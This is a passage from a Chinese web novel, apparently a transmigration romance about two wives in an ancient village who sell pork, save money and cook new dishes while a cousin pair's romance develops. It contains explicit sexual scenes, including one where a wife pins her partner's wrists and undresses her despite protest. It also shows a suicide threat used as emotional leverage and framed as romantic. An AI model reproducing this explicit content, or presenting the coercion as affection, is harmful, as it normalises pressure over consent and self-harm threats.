看上去乖乖的。 宋渝归心里熨帖,凑近亲亲她,“嗯,我回头和你说一下是什么样的,试试能不能做出来,能做出来便做,做不出来也没关系。” 古代比现代调味料还是太少了,就算做出来也不确定好不好吃。 “嗯,我会好好做的。” 明明只是随口一说,沈惜枝却跟接受了什么命令一样认真。 宋渝归摸摸她脑袋,又在唇角处亲了她一下。 小姑娘后退半步,眉眼羞红,攥紧衣袖,扭捏着不好意思说话。 正好有人来买肉了,她才退了两步,也不再欺负人。 “两斤排骨,您拿好。” “半斤肉是吗,好嘞。” 沈惜枝站在一边收钱,偶尔有客人问起买五斤肉还有没有竹篮送时,她赶忙回一句有,然后坐下去编制竹篮。 竹篮放在上头就有人要,也是很畅销的。 “一会儿结束了我们要不要买点东西?” 两人这几日都攒五两银子了,宋渝归觉得可以稍微买些东西。 沈惜枝却觉得还没攒几天呢,怎么又要买东西。 她有些怨念,瞪了妻子一眼,小声叨叨,“你就知道买东西。” “就买一样,不买太贵的好吗?” 小姑娘仍是不愿,红唇轻抿,犹犹豫豫的说,“卖完再看看吧。” “那好吧,我的钱都有我媳妇儿管着,我是碰不了一点的。” 她故意说的可怜巴巴,沈惜枝知道她又装起来了,凶巴巴瞪她一眼,却没什么气势,一点也不叫人害怕的。 今日猪肉卖到下午才卖完,加上篮子,赚了一千三百多文,沈惜枝犹豫了一下,从里面数出一百文,递过去,故作冷淡要求,“你只能花这些。” 宋渝归接过沉甸甸的一百文,心里竟有些感慨,想当初刚穿越过来,家徒四壁,找遍全家,只有四文钱! 现在也是好起来了,媳妇儿给零用钱都一百一百的给。 “应该够,走,那我们去看看。” 宋渝归拉着眸色谨慎凝重,生怕她多花钱的妻子进了一家胭脂铺子。 她有些惊讶,本以为渝归姐姐想买口脂,却不想她要了两盒雪花膏。 一盒便要五十文之多,两盒刚好一百文。 雪花膏她曾听过,沈家村最富庶的那户人家就有一盒,对方当宝贝似的,一次只舍得擦一点点,如今,她妻子一口气买了两盒…… 沈惜枝沉默了一下,妻子便拿着雪花膏将她带出来了,挑了挑眉,神色间颇为得意,“怎么样,没有花超吧,刚好一百文。” …… 你攒些钱又能怎么样,非得花个干净! 她无奈,又说不得什么,不然渝归姐姐生气了,烦恼的还是她。 好歹这次只花了一百文,从前可是动辄一两银子出去了呢。 只得嘴上敷衍着,“嗯,渝归姐姐厉害。” 两人推着车走在田野小路上,宋渝归踢了一路的石子,忽而想起这几日听说的乐子,笑眯眯同惜枝说话,“之前来我们家外头耀武扬威的沈耀祖,已经被家里放弃了,如今早不读书了。” 沈惜枝一懵,神色显然有些不信,“怎会,他父母都对他寄予厚望,怎么会突然放弃他?” “大抵是终于发现他不是读书的料子,如今听闻每日都赶他下田干活呢,他不肯干,还和沈家人在路上吵了好几回,几乎撕破脸了,沈家人早便对他生了不耐,现在日子可不好过。” “那真是恶人有恶报,一家子都是。” 沈惜枝听他们家宅不宁,心里就舒服了,可说完这句话又紧张回头,生怕妻子觉得她这样太过狠心。 那毕竟是她爹娘。 可她妻子也满脸痛快,“嗯,看见欺负你的人过得不好我就高兴了。” 沈惜枝心想,怪不得我会这般喜欢她呢。 如果有来世,我还要喜欢她。 小姑娘眉眼笑盈盈的,两人相伴回家,她在家中一粒一粒的数着银子与铜板,加上今日的,已经有近七两了,她将钱又都装进绣了小猪的荷包,递给宋渝归,“你收着吧。” 宋渝归不接,懒洋洋躺在两人的旧床上,“你拿着呗,你是管家婆,以后家里的钱都归你管,省的你老嫌我乱花银子。” 沈惜枝从凳子上起来,几步走到榻边,俯身也跟着趴进她怀里,伸出手臂抱着她,小声为自己辩解,“我没有嫌你,我只是想多攒点钱,你拿着嘛,要花很多钱的时候跟我商量一下就好了,家里的银子都是你赚的,本就该你拿着。” “但我赚银子只是为了养你啊,既然是为养你,合该你拿着。” 沈惜枝因她一句只是为了养你,心里升起甜腻之感,一边羞怯愉悦,一边将银子硬塞进她怀里,“我才不要管钱,就要你管。” 她实在不肯拿,非要给她的话她都要生气了,宋渝归才将钱拿回来,塞怀里。 也不敢绑在腰带子上,这么重,万一掉了她哭都没地儿哭去。 “明日我们去镇上时顺便把它存钱庄里吧。” “攒了十两银子一块存吧,这样好记一些。” “嗯,也是。” 沈惜枝抱着妻子翻了个身。 两人躺一会儿,等最热的时候过去了,才一起拎着背篓上山割猪草。 路上遇见几个村子里的人,对方都主动与她们打招呼,再不见宋渝归刚穿过来时人见人嫌的场景了。 如今宋渝归一家的日子,旁人都看在眼里,已是与以前大不相同了,每每村民路过宋家门外,都不得不感叹一声,修建的好生气派,比村长家的房子还要气派许多,因此路上碰见,待她们都格外客气。 有钱走到哪里都受人尊敬,自古如此。 以两人现在的家底,上山割猪草再也不是一人背一个背篓轻轻松松了,而是各背了两三个,足足割五个背篓的草回去,谁叫家里养了五头猪,还各个格外能吃。 她们回去时,池厢月与她家小表妹也回来了。 楚晚棠惯穿华服,因此总能在出现时第一时间被人注意到。 表妹脸色分外难看,一瞧就是路上遇见了点事。 池厢月也有些苦恼,见着宋渝归,立马喊她进屋,与她大吐苦水,“方才我在路上碰见宋星川了,竟鬼使神差出言邀他七夕去镇上玩,吓死我了,还好宋星川拒绝了。” 这话虽是从她嘴里说出来的,但她感觉说得时候自己根本不受控制啊! 早知道就听表妹的让太医给她看看了,这般情形真是听都没听过。 宋渝归眉心微微皱起,邀请男主七夕去镇上玩? 七夕便是在半月后,当然这不是重点,重点是,小说里男女主是在七夕这日互通心意的。 她深吸一口气,池厢月很长一段时间没有去找宋星川了,只和自个儿的小表妹玩耍,她还以为,剧情的影响力已经消失了,原来在这等着呢。 还是想在最后把一切掰回正轨吗? 按照原剧情,我的妻子,将死于今年冬日。 宋渝归想到此处,一点点睁大眼睛,再不敢忽视剧情了。 她害怕,害怕剧情想要走向正轨,便让她的妻子莫名其妙死了。 “你邀了宋星川,他拒绝了?” 这也不对,按照小说里,他该是一口答应才对。 “他本答应了,后面又不知为何拒绝了我,说那日家中有事,恐不得空。” 拒绝了。 居然拒绝了,难道男主能摆脱剧情的控制? 宋渝归暗自深思,她哪知道是楚晚棠站在池厢月身后,仿若要吃人般阴冷的盯着宋星川,硬是将宋星川离家出走的理智吓回来了。 哪还敢答应啊,忙不迭又反口拒绝了,再是贪心,也得有命贪才是。 那日私下被楚晚棠命人带走,已叫他明了,这女子就算要他的命,也能神不知鬼不觉,他没有办法挣扎一丝一毫,就算家人报官也无人敢受理。 楚晚棠声音骤冷,幽幽从后面传来,“怎么,他拒绝了,表姐反倒有些失落?” 空气都阴冷了许多,宋渝归默默抱紧自己的老婆,不敢说话,老婆也转身抱紧了她。 池厢月一脸懵,下意识摇头否认,“没有啊,我失落什么,本也不是真心想和他出去玩的,你今日怎么怪怪的,好似看我不顺眼一般,我招惹你了吗?” 实在不怪她敏感,自家小表妹乖巧懂事,最是喜欢她了,哪有这样给她冷脸的时候? 楚晚棠沉眸,扭头冷言冷语,“你若不在外面沾花惹草,我又怎会看你不顺眼!” 池厢月:??? 她气的不行,倏地站起来,“你哪只眼睛看见我沾花惹草了,给我说清楚!” 她自觉被污蔑,神色便有些凶,楚晚棠一下被凶的红了眼眶,很不服气的看向她,“那你为何要邀他七夕相见!” 七夕这等节日,该是与心爱之人在一起才对,可她呢,她邀了旁人! “我那是不自觉的,我也不知道自己为何会说出这种话,我心里又不想和他一起!” “你心里如何想的谁又能知道。” 小姑娘红着眼眶,似受了天大的委屈。 池厢月本还处在不被信任的暴怒中,忽而反应过来什么,皱眉问,“不对啊,就算我出去沾花惹草,你这么生气是为何?” “难道这天地间只许男人风流倜傥,女人就不行吗?” 她觉得表妹有点奇怪,不,是太奇怪了,表妹从未对她冷脸过这般久,刚刚还冲她发火,几乎要哭了,原因竟是……她邀了宋星川同过七夕。 别说那不是她自愿的,就算是她自愿的,何必这样生气,一个男子而已,也碍到表妹什么了吗? 池厢月第一次觉得表妹对自己占有欲是不是太过强了些,从前只是不许自己有要好的女子好友,如今对上男子时反应更大,甚至她与对方都不算交好。 太奇怪了。 素来迟钝的表姐在此时忽然清醒起来,楚晚棠不知自己是该觉得高兴吗。 那双黑润剔透的眼睛就这样直直望着她,发红的眼尾尚未褪去。 尽显委屈。 池厢月:…… 你到底在委屈什么啊? 她才委屈呢! 这个话题终究是没敢再提,怕表妹一言不合哭出来,池厢月忍了忍,只说,“我和宋星川不熟,以前不熟以后不熟一直不会熟,你不必拿他刺我,再有下次,我真的生气了。” 哪有人这样的,生气还要提前说一下。 楚晚棠知道表姐是待她好,舍不得与她发火,但她也忍不住要想,为什么就不能待她更好一点呢? 为什么就不能聪明一点呢。 为什么就不能……也喜欢她呢? 小表妹垂眸,显得有点失魂落魄,也不搭理人了,对表姐的威胁视若无睹,根本不怕。 绞尽脑汁威胁人的池厢月:…… 这,这么生气啊,不应该吧…… 从前都没有那么生气过。 她傻眼了,一时也不知道该说什么。 宋渝归与沈惜枝早就悄悄坐到一起去了,她抱着老婆,两人目不转睛,不错眼看戏,偶尔对视两眼,都能从对方神色中看出揶揄来。 楚姑娘干脆直说得了。 池姑娘也未免太过迟钝。 哎。 还好我妻君没有那么笨。 她心想着,慢慢往身边人怀里靠,楚晚棠因为表姐始终不明她心意,已经低头离开了,徒留池厢月一人在屋里。 不明白到底怎么就变成这样的池厢月茫然看向两位看戏的好朋友,“姐妹间,也有这样大的占有欲吗?” 她已隐晦的察觉到不对劲了,只是说不出个所以然来。 宋渝归低咳一声,还是想稍稍提醒一下自己来到古代唯一一个好朋友。 “平日里我多看旁的女子一眼,惜枝都会生气的。” 池厢月:? “你们是妻妻,与我和棠棠怎能……” 话音说到一半,骤然顿住。 池厢月似乎在想着什么,双眸怔愣失神。 好一会儿,才匆忙站起来,“我要去哄我表妹了,再不去晚上就不好哄了,我先走了,晚饭记得做我的份,我还过来吃。” 宋渝归:…… 到这份上了还不忘吃饭,真有你的。 她点点头,对方便着急忙慌消失在人前。 沈惜枝戳戳媳妇儿,小声问,“你觉得池姑娘这回能想明白吗?” 池姑娘迟钝,但楚姑娘似乎表现的也并不明显,对方真心将她当做妹妹对待,看不出来也很正常。 宋渝归摇摇头,却不是觉得不能,只是,“别管她们,怪累的,给我亲亲?” 小媳妇儿看旁人热闹时一双眼睛亮晶晶的,可好看了。 沈惜枝闻言,羞怯低头,“你怎么又要亲啊。” 话是这么说,却又不曾拒绝她,最后被人揽着后背,抵在桌子上吻了个唇瓣红肿。 “嗯哼,你轻一点嘛” 求饶的声音亦是含糊不清。 池厢月出去时并未将房门关上,光透进屋里,落在打扫干净的青砖上,桌子正对大门。 此时山上劳作之人都还未回来,门口也就没什么人出入。 宋渝归动了动身子,自己背对着大开的门,将惜枝护在怀里,替她遮挡可能会泄露的春光。 微微抬起下身,裤子便被人利落的脱了,露出半边面团儿似柔软雪白的屁股。 还以为只是亲亲的沈惜枝:??? 她瞳孔地震不敢相信,下意识便要挣扎,却被人眼疾手快的控住两只纤细手腕,温声软语,“你别动,万一叫人看见就不好了。” 沈惜枝震惊的瞪大一双可怜鹿眼,气呼呼,“你不这样做就不会被人看到!” “可是宝宝,你不觉得这样做很刺激吗?你的裤子都湿了,我宝宝果然和我相合。” 单单一句宝宝,便足以让沈惜枝软倒身子,再挣扎不得。 粉嫩唇瓣被紧紧咬住,又被人握着下巴偏头,含进嘴里,细细研磨,然后在她耳畔轻声道,“门没有关,你千万小声些。” 另一只纤长白皙的手指早已将湿乎乎两片柔软握在掌心了。 轻攥一攥便能给人带来莫大的刺激。 凸起的尖儿娇嫩非常,半点触碰不得,立时便涌出汩汩清液,如何也止不住的。 女子稀碎吟哦亦是。 她听妻子的话,不敢大声,可即便是咬碎一口银牙,到了难耐处,还是忍不住会泄出声音,搞得小姑娘全程羞红了脸,完事后扑在人怀里又哭又闹的,与她生了好大一通气,直到池厢月来了两人都没和好。 宋渝归色上心头,现在色完了,冷静了,像个鹌鹑般缩在一边,偶尔探脖子试图哄人。 沈惜枝哪是这般好哄的,任她说什么都不搭理,偶尔还要凶巴巴的瞪她一眼。 她心虚,凑近道,“真听不见,要不你站出去,我小声唤你,你试试能不能听见?” 惜枝不语,只一味的推她。 宋渝归:…… “别推了,你要把我扫地出门不成?” 这话音落,仿佛给对方提供了新的思路,只见小姑娘抬眸,恶狠狠与她道,“对!今晚你睡庖厨!” 她们新建的青砖房额外弄了个庖厨,不在屋里。 沈惜枝怒极,竟然叫她去睡庖厨。 宋渝归深吸一口气,才不听话呢,又厚着脸皮继续上去哄。 池厢月便是这时带着她仍旧别扭的小表妹过来的。 见状笑了,“你惹惜枝生气了?” “谁说的,惜枝不会生我的气。” 明明就是谁都能看见的事实,偏她还不认。 池厢月拉着表妹的手,将神色微凉的表妹拉过来,无奈道,“是不是生气了我还看不出来吗,同我表妹生气时一个样。” 大抵小姑娘都是这么生气的。 楚晚棠听她说自己,一把将手从她手心里扯出来,偏过头去。 她不高兴了,往常池厢月一定是第一时间就扑过去哄的,可眼下竟只是无奈的笑了笑,半点没有要哄小表妹的意思。 直到对方的眼眶一点一点红了,里面蒙上一层薄薄的水雾,她才走过去,又牵起表妹的手, “好了,不说你,别生气了。” 明明没怎么哄人,一句软话不曾说,可那只手就是安稳的牵上了,没再被甩开。 宋渝归看了,试探性也去牵老婆的手。 差点没给甩飞出去。 …… 不是,怎么个事儿? 人家表妹都不生气了,你是我老婆,怎么还生我气呢! 宋渝归气急败坏,一脸怒容,握着拳头气势汹汹靠近,嘴上却吐出温软祈求的话语,“那你要怎样才不生气嘛,我不想睡庖厨,我想抱着我媳妇儿睡。” 她难得做出这般姿态,让人有些心软,沈惜枝一时没说话,就被人攀上了手臂,蹭在她肩膀边撒娇。 她很少撒娇的。 女子薄唇抿成一条直线,又有宋渝归软声求饶,“真的知错了嘛。” 她从来没这样过,叫人控制不住真要心软,好一会儿才横了她一眼,那只抱着她手臂的手被扒拉下去,沈惜枝重新伸手牵紧她,没再松开。 第75章 以死相逼 安稳过了几日,沈惜枝和面开始给妻子做手抓饼。 宋渝归本来不急着吃手抓饼,毕竟古代食材匮乏,可是,她看见了番茄! 挂在旁人家中红彤彤的,不大不小的番茄! 她厚着脸皮去问了,人家说这是番柿,只能看看,不能吃的。 胡言乱语,这明明就是番茄,怎么不能吃了,很好吃的! 于是她也去买了一盆番柿,专门买已经结果的,价格不多,才十文一盆。 沈惜枝本是怪妻子闲着没事买盆草回去做什么,若想要养草,她大可去后山给挖一些,可回去后妻子说这番柿能吃,她惊了一跳,这才没有多说什么了。 看着确实红彤彤的漂亮,又能看又能吃,十文钱花的也不亏。 今日两人在家里便试着倒腾番茄酱。 惜枝简直是天生做饭圣体,这番茄酱还真给她做出来了,味道跟现代的八九不离十。 最难的一步弄好了,旁的便大差不差,今日才决定要试一下手抓饼。 为此她特意留了猪里脊,又问李大娘借了一颗生菜。 家里只种白菜,可她觉得吃手抓饼,得生菜最好吃了。 等池厢月又一次带猪草回来时,远远闻到了令她动容的香味。 她简直热泪盈眶,一闻就知道惜枝又在捣鼓好吃的! 没忍住狂咽口水,将猪草倒给猪吃后,飞奔进庖厨。 趴在灶台上眼巴巴的。 “惜枝惜枝,这是什么啊,饼吗,我们晚上吃这个?” “嗯,妻君说这是手抓饼,我第一回做,不知道好不好吃,等会儿你们先尝尝,不好吃我再给你们煮面。” 她这样说,池厢月迫不及待应合,“好吃,当然好吃!我闻着就觉得好吃。” 幸好她有眼光,一来就同渝归交了好友,可是有口福了,吃的比在京城之时都要好。 “然后煎一下肉片是吗?” 沈惜枝扭头问。 宋渝归笑着点点头,又说,“把我的生菜也煎一下,池姑娘爱吃生的生菜还是熟的?” 她偏爱稍熟一些的,吃不了生的东西。 池厢月却敢于尝试,点点头,“你不吃生的那我试试,我试试味道怎么样。” 楚晚棠坐在桌边,安静的看着她们。 这几日表姐待她略有疏远,大抵是看出什么了。 她也无意隐瞒,总不能瞒一辈子。 看出来就看出来了,看出来了也好。 是生是死来个痛快吧。 宋渝归自然发觉了两人近期情绪的不对盘,池厢月表面看着还好些,实则也不对,她对她小表妹这么好,最近竟然吃饭都不给表妹夹菜了。 岂有此理啊! 今日亦是,她说要去割猪草,让楚晚棠留下,楚晚棠不愿意,若是平时,楚姑娘早该不满,亦不许池姑娘去割猪草了,今儿却只是默不作声的跟上。 池姑娘一个人割,来回走了两趟,她便也跟了两趟,沉默无言。 宋渝归看看身后的楚姑娘,又看看旁边嘴馋的池姑娘,笑着问,“楚姑娘今日怎么不说话了,好像心情不好,你不去看看吗?” 池厢月身形一僵,她当然知道小表妹最近心情不好了,但…… 她要怎么看啊。 越看越觉得自己的猜测属实,表姐表妹的,她从未想过那些。 现在让要她怎么办,她心里慌慌,小心翼翼的扭头往后看,却不想,表妹也正好在看她! 表妹双眸微红,端庄坐着,安静的看着她。 那副模样,就好像无论发生什么事,她都会一直看着她。 池厢月说不清心底是个什么感觉,总之,莫名生出些许软意。 她顿了顿,向表妹走去。 楚晚棠随着她越走越近,视线下移,沉默的不再看她,就听表姐干巴巴问了一句 ,“你,你怎么坐着不说话?” 小表妹神色微冷,很快又缓下去,抿了抿唇,“我腿疼。” “啊,都叫你别跟我去山上了,你平日去哪都坐马车,哪里能走这么远的路。” 她说着,蹲下来便要给小表妹揉腿,手指刚搭上去,就听见小表妹隐含委屈的话,“你想把我一个人抛下了,还不许我不想吗。” 她哪能看不出来表姐的想法,无非是与她待在一起不自在了,想把她一人抛下而已,但这怎么行。 她不愿意极了。 就算表姐不喜欢她,她也总是要缠着表姐的。 不会让表姐真的离开她。 池厢月动作一顿,接下去竟也没什么反应,沉默的继续给人揉腿。 原本酸疼的小腿,一到她手上就泛着酥软,她掌心的温度穿到小腿上更叫人舒服。 两人这几日难得这样亲近。 楚晚棠也放下了心中些许不虞,屋里气氛安静温馨极了。 宋渝归看了只觉满意。 更是一眼瞧出,池厢月定也是个磨镜,不日就会被楚小姐拿下。 她虽看起来排斥磨镜,但却抑不住关心心疼表妹,这不是跟她一样一样的吗? 哼,是个磨镜没跑了。 那边还在揉腿,这边第一个手抓饼出锅了,带着酸甜的番茄香气,极为诱人。 池厢月还在给表妹揉腿呢,闻到便是咽了一下口水。 小表妹:…… 撇头,“你想吃就去吃吧,我不疼了。” 池厢月得了这话,就跟得了什么皇命允许一样,腾一下站起来了,那迫不及待的模样,看得小表妹离气死也不远了。 就知道吃就知道吃,笨蛋表姐! 池厢月去央求沈惜枝,“好惜枝,给我吧,我要香死了,给我吃一吃嘛。” 惜枝素来对渝归是最好的,有好吃的第一个肯定给渝归吃,这也正常,人家可是亲妻妻,但今天她太馋了,眼巴巴就求了上去。 沈惜枝看向妻子,宋渝归抬了抬下巴,“给池姑娘吃吧,看她饿的。” “嗯,那池姑娘先尝一个吧,若是不好吃便与我说,我给你们煮面。” 池姑娘兴奋点头,“好好好!” “这是手抓饼,你若不嫌弃自己,去外面洗个手用手抓着吃,筷子不好夹。” 她从来不嫌弃自己的,一听就屁颠屁颠往外洗手去了。 回来一边被烫的不行,一边忍烫也要咬一口,饼皮和面的时候混了油,酥脆好吃,再沾了番茄酱,香的她眉毛都要飞起来了。 一大口一大口的吃,连话也没赶得及说,生菜正好中和了油腻,几口吃掉一个手抓饼,又大声要求,“我还能再吃十个,惜枝,给我做十个!” 沈惜枝:…… 宋渝归毫不犹豫婉拒,“一边儿去,做十个累到惜枝了,别听她的,再给她做一个就行,晚上饿了让她自己喝点凉水。” 池厢月:…… 可怜兮兮的看过去,那眼睛里写满了,你无情! 楚晚棠在后面看着,心里颇为不舒服,表姐都没对她这样过…… 就这么喜欢她们吗? 不会比喜欢她还喜欢吧? 小表妹前所未有的产生了危机感。 沈惜枝听媳妇儿的话,先给渝归姐姐煎了一个手抓饼,又给楚姑娘也煎了一个,最后才给她煎了第二个。 手抓饼香的很,里脊肉也是薄薄嫩嫩的,很好吃。 “下回卤些香辣牛肉,加进去定也好吃!” 池厢月触类旁通。 “嗯,那就下次试试。” “别啊,不用等下次,我明天去镇上给你买牛肉,然后你就试试呗,好枝儿,我太想吃了~” 池厢月从小到大性格坚韧要强,从未与人撒过娇,除了表妹和惜枝。 但她半分不觉得丢脸,实在是太馋了,想到夹了辣乎乎的牛肉进去,已经开始口舌生津了。 宋渝归听见她撒娇,一顿,扫了她一眼,周身忽然变得凉凉的,她才反应过来,啊,也不能叫枝儿,渝归会吃醋。 虽然枝儿心软温柔,但她只听渝归的话啊! 渝归若是吃醋了,这饭她日后是没得吃了的。 “咳,好惜枝,求你了。” “嗯,明日也行,渝归姐姐再尝尝,若是你喜欢吃,我以后天天做给你吃。” 饼皮上还糊了一颗鸡蛋,香的人舌头都要吞进去了。 她也点点头,“嗯,我很喜欢给我以前吃过的没什么区别,你也快尝尝,很好吃的。” “嗯。” 沈惜枝吃东西秀气,小口小口的,看着就可爱。 一口下去,她同样被惊艳了一下,番茄酱的味道很好,她很喜欢。 渝归姐姐知道好多新奇的吃食,好厉害。 楚晚棠小口吃着,亦觉得味道不错,但终究因为和表姐似有若无的冷战影响了胃口,只吃了半个便吃不下去了,池厢月见她不吃,习惯性把饼接过来继续吃,吃到一半才发觉不对,浑身僵硬。 再抬头,三人都沉默的盯着她。 池厢月:…… 无语了,我这什么破手啊,动的比脑子还快! 楚晚棠眉目渐渐温润,抬手给她倒了一杯解腻的清茶,“喝口茶润润嗓子吧,别噎着。” “哦,哦……” 池厢月心虚。 捏着手抓饼的手都不由用力几分,又不慎将手抓饼掐了个洞出来。 她连忙松了松爪,低头吃手抓饼,感受到含情脉脉的视线落在她身上,心里紧张极了,又觉得这样不行,天天和表妹在一起,她哪有功夫细想一点东西? 不行的不行的,不能再同住下去了,骤然抬头,池厢月抿了抿唇,勉强笑笑,问惜枝和渝归,“对了,你家现在是不是有一间空房?” 两人一愣,还没回她,周边空气已经冷的让人抱臂瑟缩了。 楚晚棠神色骤然阴沉下来,似乎她还没说,她就知道她要说什么了。 冷冰冰的眸子紧盯表姐。 池厢月顶着莫大压力,强笑着道,“我表妹一直和我睡在一起,但是我住的地方没有你们的房子好,两人一起睡也总归是挤的,能不能……” 话音未落,楚晚棠已倏地站起来了。 修长五指紧紧攥着,几乎要抠破手心,眼眶红了一圈自不必说,她只觉心神俱碎,素来疼她宠她,待她如珠似宝的表姐竟将她往外推。 表姐再也不会疼爱她的恐慌让她的身子微微发抖,绝望至极时咬唇放下狠话,“你如果想要我的命,就尽管把我赶去别的地方!” 反正也没有别人喜欢我,如果表姐也讨厌我了,那我真不如死了算了! 说罢,她负气跑出去。 听见这种话池厢月简直吓得花容失色,哪还能稳得住啊,猛的站起来大喊一声,“棠棠,别乱跑,回来!” 三步并一步,轻功都用上了,赶忙去追表妹。 留下宋渝归与沈惜枝面面相觑。 “噗嗤。” 半晌,沈惜枝掩唇笑了,“楚姑娘都生气了,妻君你说,池姑娘还会让楚姑娘睡在我们家吗?” 宋渝归摇摇头,“她不敢。” 没看楚姑娘以死相逼吗,她要是敢这么做,楚姑娘也是真敢死给她看的。 瞧瞧池姑娘,一听见对方的威胁便吓得不行,接下来几日她恐怕都不敢叫人离开她的视线了,更别提把人送到她们这边睡。 “那样也好,总算捅破窗户纸了。” 每每看池姑娘呆木头一般的模样,她都忍不住想起之前的妻君,也是个木头,任她如何暗示都反应不过来,笨死了。 但笨笨的妻君她也很喜欢,她凑近妻子,浑身没有骨头似的趴在她身上,宋渝归勾了勾对方柔韧的小腰,她便控制不住坐在她怀里了,手臂揽着她的脖子,眼里闪着光亮。 “我抱你去洗洗手?” “嗯嗯。” 妻子的力气不如池姑娘大,池姑娘兴致起来了,有时候抱着楚姑娘走来走去的,做什么都抱在怀里,也难怪楚姑娘会喜欢池姑娘了。 这样视若珍宝的态度,换了哪个磨镜都很难抵挡。 其实,她也很喜欢被抱着,但需得是渝归姐姐抱才行,旁人不行。 女子想着,只觉得身体骤然悬空,也被稳稳的抱起来了,一路从屋里到井边,白色长裙因重力下坠,在半空摇曳。 宋渝归把人放在膝盖上,一条大腿平放让她能好好坐稳,然后舀了一点先前打好的井水,浇在两只修长如玉的手上,又给她搓了搓,再拿出帕子,将根根纤细雪白的手指一一擦了一遍。 本来若得空了,该去割猪草或者砍竹子,但今日的猪草池厢月已经帮忙割完了,竹条昨日池厢月也割了许多,都还剩着,两人一时没了事情做,好一会儿,宋渝归凑近,与媳妇儿抵了抵肩膀,小声哔哔,“要不……你去把前面穿过那件衣服拿出来?” 沈惜枝本想问是哪一件的,但当扭头对上妻子都有点不好意思的表情时,忽然福至心灵。 一张脸顿时黑的不行,义正言辞拒绝,“你不能净想着那些东西!” 宋渝归抱着媳妇儿坐在腿上,贴着自家媳妇儿日日被盯着涂了雪花膏,细嫩的脸蛋上,蹭了蹭,只觉触感极好,她磨蹭完了又有几分可怜,“你难道就不想我亲亲你吗,我可想你了,方才吃手抓饼,我都没有喝茶呢!” 手抓饼虽然好吃,但有些干噎,吃了容易口渴,她却一直没喝水,可见是早就惦记着了。 沈惜枝瞳孔地震不敢相信,我的妻子满脑子都在想些什么啊! 她,她的思想就不能干净一些吗?! 沈惜枝小脸晕红,咬唇不理她也不肯应她,直到一只手,原本落在她小腹上,却又不知何时往下滑去,隔着裙子便蹭了她一下。 小姑娘倏地坐直了,“你,你怎么能……” 这还是在外面呢! 妻子越发不知羞了,这可怎么是好啊。 小姑娘一双眼睛里透着忧虑与羞恼,瞪了宋渝归一眼。 宋渝归也是个不要脸的,见她偏头不看自己,只露出一截白白嫩嫩的颈项,便凑过去对着雪白脖子啃了一口又一口。 沈惜枝又惊又怒,气的要从妻子怀里起来,骂她,“你不要脸!” 不要脸就不要脸,媳妇儿跟脸比谁重要有人不会选吗? “再亲一口,再亲一口我就不亲了,好枝儿。” 她嘴上说着,然而那最后一口,竟是碾着人唇瓣去的,软糯的唇被人含进嘴里,细细舔吮厮磨,滋味极是不错。 不知过了多久,沈惜枝吸不上气,瞪大眼睛拍着宋渝归的肩膀,嘴里还呜呜呜的,才终于被人松开了。 连忙软倒在人怀里,红唇微张,艰难吐气。 宋渝归安抚的揉着妻子后背,语气难掩笑意,“怎么还学不会换气啊,笨死了。” 沈惜枝想骂她,又没有力气,只能安分下来,被她从屋外抱到屋里。 有些事就该在晚上做,直到明月高高悬挂,沈惜枝才松了口,愿意给人吃一吃。 也不是她松了口,实在是被缠的没法子了,一扭头就是妻子可怜巴巴的小脸,任她如何也舍不得真不给她。 实际上…… 虽然嘴上拒绝,但她心中也是想的。 这事儿可不能让渝归姐姐知晓了,否则非得弄得她起不来床不可。 沈惜枝心想着,大腿一凉,底裤早已不见踪影,只剩下两条白生生修长笔直的腿。 她下意识躲,却被人握住纤细脚踝。 两只都握住了,双腿不自觉分开,成一个倒过来的Y字,嫩生的地方被唇瓣抿住,不止是唇,连牙齿也悄悄探过来,咬了她一下,似乎在惩罚她白日的扭捏,不肯给人碰。 “轻,轻点呀。” 小姑娘又是害怕又有些隐秘的期待,眼里蓄满薄泪,不多时便仰起雪白的脖颈。 被她用手指触碰都十分难耐,更何况是……咬啊。 小屁股湿乎乎,几乎浸泡在水里。 等喝够了,她才舍得离开,可那双习惯圈着人脖子的腿儿却无法轻易伸直了,酸痛难忍。 “亲亲小枝儿。” 一边说,一边在惜枝唇上落下一吻。 沈惜枝察觉了什么,紧紧抿着唇瓣,但还是不敌她,被硬是撬开了,从软乎乎的小舌头到上颚,吻了个遍。 然后看着身下人悲愤的神情,没忍住笑出声,戳戳她气鼓鼓的脸颊,“不是,你怎么连自己的味道都嫌弃?” 沈惜枝纠结,眉心皱在一起,好一会儿还是遵从本心,“就,就是不喜欢!” 她本来也没想叫妻君吃那个地方的,妻君每次都非要吃。 就像是正餐之前的开胃菜一样…… “好吧,但是我喜欢。” 宋渝归又在她唇角落下一吻,修长指尖才缓缓往下爬,女子本还乖乖与她对视的眼睛渐渐不再清明,手指翻飞间,涌出一股接一股,连带着小白兔也被刺激的抖来抖去。 …… 直到第二日吃晚饭时,她们才再次见到了池厢月。 她倒是即便有再大的事绊着也不忘记要来吃饭。 手里还紧紧拉着她的小表妹。 小表妹一路神情冷漠,只面对她们时微微缓和些许,然后轻点了点头。 “我买了牛肉,但有事耽搁了,明天再卤吧。” 她将手里的一吊牛肉放下,宋渝归应了一声,视线落在池厢月嘴上。 她与媳妇儿早早生米煮成熟饭,又夜夜笙歌,哪会看不出来池厢月唇上被人吻的红肿,还咬了一个小破口,呵,绝不可能是蚊子叮的。 啧啧啧,玩的也很花嘛。 池厢月仿佛察觉她看出了什么,猛的偏头,从来大大方方的人,第一次在朋友面前窘迫僵硬起来。 “对了,惜,惜枝,晚上吃什么啊。” 她不敢面对宋渝归揶揄的目光,便只能转而去问沈惜枝。 沈惜枝一边准备晚餐需要的食材一边随口回,“晚上吃番柿炒鸡蛋,妻君说这样炒很好吃,我再做一个豆腐皮烧肉末,鸡蛋羹就好了。” 四个人吃,总得三个菜才好。 “好好好,渝归都说好吃,那肯定好吃。” 池厢月弯了弯眼睛,看起来很有些高兴。 楚晚棠见她对旁人笑的灿烂,默不作声将自己的手往回抽了抽,没抽掉。 表姐握得紧。 这一下却又把池厢月吓得不轻,她仿佛不似从前那般呆了,一下明白过来表妹为何生气,扭头便是哀求的语气,配上无奈的神情,“我不笑了不笑了,不笑了还不成吗,我的祖宗,你可别离开我的视线。” 她是真怕了,从昨日表妹放下狠话时就怕了,生怕表妹离开她的视线后出点什么意外 ,那她一定会后悔死的。 楚晚棠轻轻抿唇,见她如此,没说什么话,只看向别处,她们好似和好了,又好似没有。 第76章 生米煮成熟饭 两人也只在吃饭时分开了,一吃完饭,池厢月又紧紧握了上去,生怕小表妹会自己跑掉。 可若能与她待在一起,谁愿意一个人啊。 表妹根本没有跑的意思,但她也不会说,如今这样被表姐时刻看着关注着,甚好。 